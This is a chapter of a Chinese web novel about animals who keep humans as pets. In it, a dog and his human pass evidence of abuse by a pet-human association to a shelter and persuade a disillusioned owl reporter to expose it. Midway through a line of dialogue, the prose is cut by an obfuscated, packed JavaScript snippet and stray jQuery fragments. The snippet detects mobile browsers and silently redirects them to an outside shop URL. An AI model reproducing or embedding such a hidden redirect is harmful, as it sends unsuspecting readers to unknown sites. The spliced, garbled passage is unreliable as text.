拐回进门的院子,大象用鼻子卷过来桌椅。
“今天天气不错,就在院子里聊吧。”
沈屹把两个小人放在电脑键盘前,打开他目前已有的所有视频和照片。
翻过一张张照片,大象的反应比秦臻预想的要平静,甚至可以用毫无波动来形容。
看了一会儿,大象突然开口:“你是不是很奇怪我为什么这么平静?”他看向秦臻,用鼻头点点她的头顶,“这些我们见得太多了,甚至见过更残忍的事情。”
“其实我们也一直在做救助宣传,只是效果一般。会关注这方面内容的动物,本来也不会弃养或虐待宠物人,也不太会从协会那里购买高价宠物人。”
“这次我们还会找记者,希望能达到预想的宣传效果吧。”
沈屹说的记者正是琪宝打听到的那位猫头鹰。
“放心吧,我们志愿者很多都是相关专业的,也能帮上忙。”大象接过U盘放进围裙兜里,U盘里正是沈屹和秦臻收集到的所有证据。
“保持联系。”沈屹的爪尖落在于嘉伟的肩头,“他就拜托你们了。”
“等我们联系好记者,还会来采访你一次。”秦臻也看向于嘉伟,打趣道,“你可以抓紧这几天时间打一下腹稿。”
大家说着话走到门口,一推开门地上摆着一个纸箱。箱口半掩着,看不清楚里面是什么。
于嘉伟好奇地张望:“这是啥?”
秦臻没说话只是和沈屹对视一眼,他们俩做过流浪动物基地的志愿者,对这样的情况也是见怪不怪了。
大象叹口气,用鼻子打开了箱子。
里面躺着一个宠物人,是一个亚种,她紧闭着眼,呼吸微弱,身上满是细密的划痕。
皮包骨的身子下垫着一张用旧了的小毛巾,箱子角落里放着一个洗得发白的玩偶。
除此之外,再无任何物品。
大象没说什么,只是默默把箱子卷起来放进小院。
“最后一个床位给于嘉伟了,那这个宠物人安置在哪里呢?”沈屹的问题也是秦臻的疑问。
“她身体这么瘦弱,估计要在病房待一段时间了。”大象用鼻子指着一排矮房,“而且这排活动房里都有临时床铺,就是为了应急用的,你们放心吧。”
秦臻走到箱子边,把包里沈屹给她准备的零食全部拿出来放在地上,朝沈屹示意了一下。
沈屹点点头,出去片刻才回来,嘴里叼着个密封袋。
这是沈屹为秦臻外出准备的各种物品,一直放在车上没动过,里面甚至有换洗的衣物。
沈屹将密封袋放在箱子边,“今天来得匆忙,也没带什么东西,这些都送给她。”
与于嘉伟、大象告别后,秦臻连伤感的时间都没有,立即和沈屹匆匆赶往下一个目的地,猫头鹰的家。
凭借琪宝出众的八卦能力,他们早就打探清楚了猫头鹰的性格喜好。
昨晚在公园遛弯时,沈屹看似随意地和他搭讪,实则顺着对方的喜好聊了半个小时。
因为志趣相投,沈屹顺利拿到了猫头鹰的联系方式。
赶到对方公寓时,已经是傍晚时分。
猫头鹰的公寓就在沈屹小区对面,公寓楼内楼道狭窄,一条长长的走廊,两侧密密麻麻布满了小门。
“30-3012,就是这里了。”
门打开一条缝,露出一只浅黄色的瞳孔。见到是沈屹,门才彻底打开。
猫头鹰身上的毛乱糟糟的,两只大眼睛也没有神采。
“进来吧。”他让开一条路,露出身后狭小逼仄的单间,堆满了杂物。
沈屹一站进去,空间更显得窘迫。
猫头鹰走到电脑前坐下,桌上堆满了旧书籍和杂乱无章的纸张,垃圾桶离得垃圾已经满出来了,旁边散落一地的易拉罐。
“坐吧。”他冲一张单人钢丝床示意。
沈屹看着床上堆成小山的被子和衣物,只得用爪子推开,露出一小片床单,才挨着边坐下。
“所以是啥东西,搞得这么神秘?非要来我家说。”一双圆眼睛眨了眨,没有什么特别的情绪。
“我拍了些东西,想给你看看。感觉我的朋友里,只有你能搞定这件事。”
沈屹从包里拿出备份的U盘递给猫头鹰。对方接过去插在电脑上,点开了文件夹。
猫头鹰看得很慢,每张照片都盯着看了许久才换下一张,溜圆的眼睛几乎不眨。
文件夹内的所有资料看完后,猫头鹰的目光在秦臻和沈屹之间来回扫了几圈,最后又落回电脑屏幕上。
“所以,你想让我报道这个?”他的翅膀尖抓着一支笔,快速敲击着桌面,发出一连串不规律的噪音。
“是的,作为记者,你是我能想到的最合适的选择。”
沈屹话还没说完,猫头鹰突然用力转过电脑椅,翅膀微微张开又收拢。
“记者怎么了?你给我看这些有屁用啊?你不会天真到以为我写好交上去,这篇报道就能见报吧?”
沈屹没接话,只是安静地看着他。
猫头鹰烦躁地抓了抓头,乱糟糟的羽毛又立起来两根。
“你们根本就不清楚情况,你们知道这些报社的股东是谁吗?哪些和宠物人协会的股东有利益往来?”
沈屹终于开口了,依旧是慢条斯理。
“我来之前并没有提过具体是什么东西,但你一看就提到报社股东和宠物人协会的股东有利益往来,说明你曾经做过调查。”
猫头鹰面无表情地看着他,语气很不屑:“所以呢?你想说我以前试过,就要再试一次?”
秦臻和沈屹直勾勾看着猫头鹰,双方对峙半晌。猫头鹰挫败地挪开视线,嘴里嘟囔着:“看我也没用,我就算想帮忙也帮不上。”
房间内陷入长时间的静默,猫头鹰仰靠在椅子背上,许久才喃喃自语:“你们这些算什么,我以前见过的更惨的多的是……”
“一旦这个报道被大家关注到,你就不再是今天的你了。”沈屹突然换了个话题,“到时候你可就是你们报社的名记者,大家都记得你的名字。”
琪宝打探到的消息,猫头鹰虽然就职于当前最大的一家报社,但只是一个籍籍无名的记者。
他每次在公园遛弯时,一聊到社会议题就总会愤愤不平。
“你刚才虽然那样说,但还是全部看完了。既然你曾经做过类似调查,其实看第一张照片时就知道后面的内容,根本不需要再看一遍,不是吗?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682384|204100||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你到底想说什么?”猫头鹰直起身子直视沈屹,表情严肃不少。
“你桌上全是稿子,刚才进门的那些箱子里全是报纸杂志,各种资料。”沈屹身后的大尾巴晃了晃,“现在这个社会,像你这样不只是把记者当成一份工作,而是怀揣梦想、尊敬自己职业的,已经很少见了。”
不知道是不是秦臻的错觉,沈屹说完这话,猫头鹰的圆眼睛似乎亮了些。
他冷哼一声,听起来像嘲讽,但态度明显没那么硬了。
“我们知道见报很难,但我们还是想试试报社的渠道,毕竟报纸的传播力度和公信度最高。如果实在不行,我也有其他发布的渠道,而且我确定会被公众看到,到时候再引流到你的报道上。所以无论如何,我们都需要一个专业的人来撰稿,你是最合适的人选。”
沈屹语气诚恳,他顿了顿,又说:“文字是有感染力的,我相信你的文字可以让公众感受到你的态度和对这份职业的热爱。你觉得呢?要不要试一试?”
猫头鹰张了张嘴,没说出话来,但翅膀微微抖了抖。
他转动椅子对着电脑屏幕,上面还定格在视频的最后一帧。
因为镜头晃动,画面很模糊,但依稀可见重叠在一起的宠物人。
“你们知道吗?”他突然开口,声音很轻,“我年轻的时候刚入行那会儿,想过要改变世界。”
“后来发现世界没变,我自己先变了。”他自嘲地笑了笑,“变得什么都是一句算了。”
“所以……”
猫头鹰转过来,表情比刚才灵动了许多。
“你们真有别的渠道确定能发出去?”
沈屹点头:“我确定。”
猫头鹰起身走到窗边,推开窗户深吸一口气:“行,那我写。”
夜风吹进来,把他乱糟糟的羽毛吹得更乱了,但他丝毫不在意。
“谁不想登个头版头条?我曾经做梦都想写出一篇大新闻,所有人都记住我的名字。”他转过身看向沈屹和秦臻,“十年了,没想到我还能等到这个机会。”
猫头鹰走回桌边,把U盘从电脑上拔下来放进椅子上的挎包里。
“你们说的短鼻种在哪个基地来着?我明天就去采访他。”
沟通完所有事情,沈屹把秦臻放回头顶站起身准备离开。
走到门口时,猫头鹰突然叫住他们。
他依旧羽毛凌乱,站在一堆拥挤的杂物里,但脸上的神情和刚进门时相比却截然不同。
“别让我白干啊。”
下楼呼吸到新鲜空气,秦臻长舒一口气。
“心情好点了吗?”
下方传来沈屹的问句。
秦臻也知道自己这几天的状态一直不好,自从从埋尸地回来,无论做什么她脑子里总归是不断闪回那晚的所见所闻。
哪怕有沈屹时刻陪伴,她也还是集中不了注意力。
“我不知道,也许吧。”
秦臻趴下来,侧脸紧贴着毛茸茸的狗头,努力汲取着沈屹的体温。
“但至少,我现在所做的一切确实是尽力了。不会在某一天想起来的时候,拍大腿后悔自己没做好。”
她在狗头上用手指写了一句简短的英文,沈屹轻轻“嗯”了一声。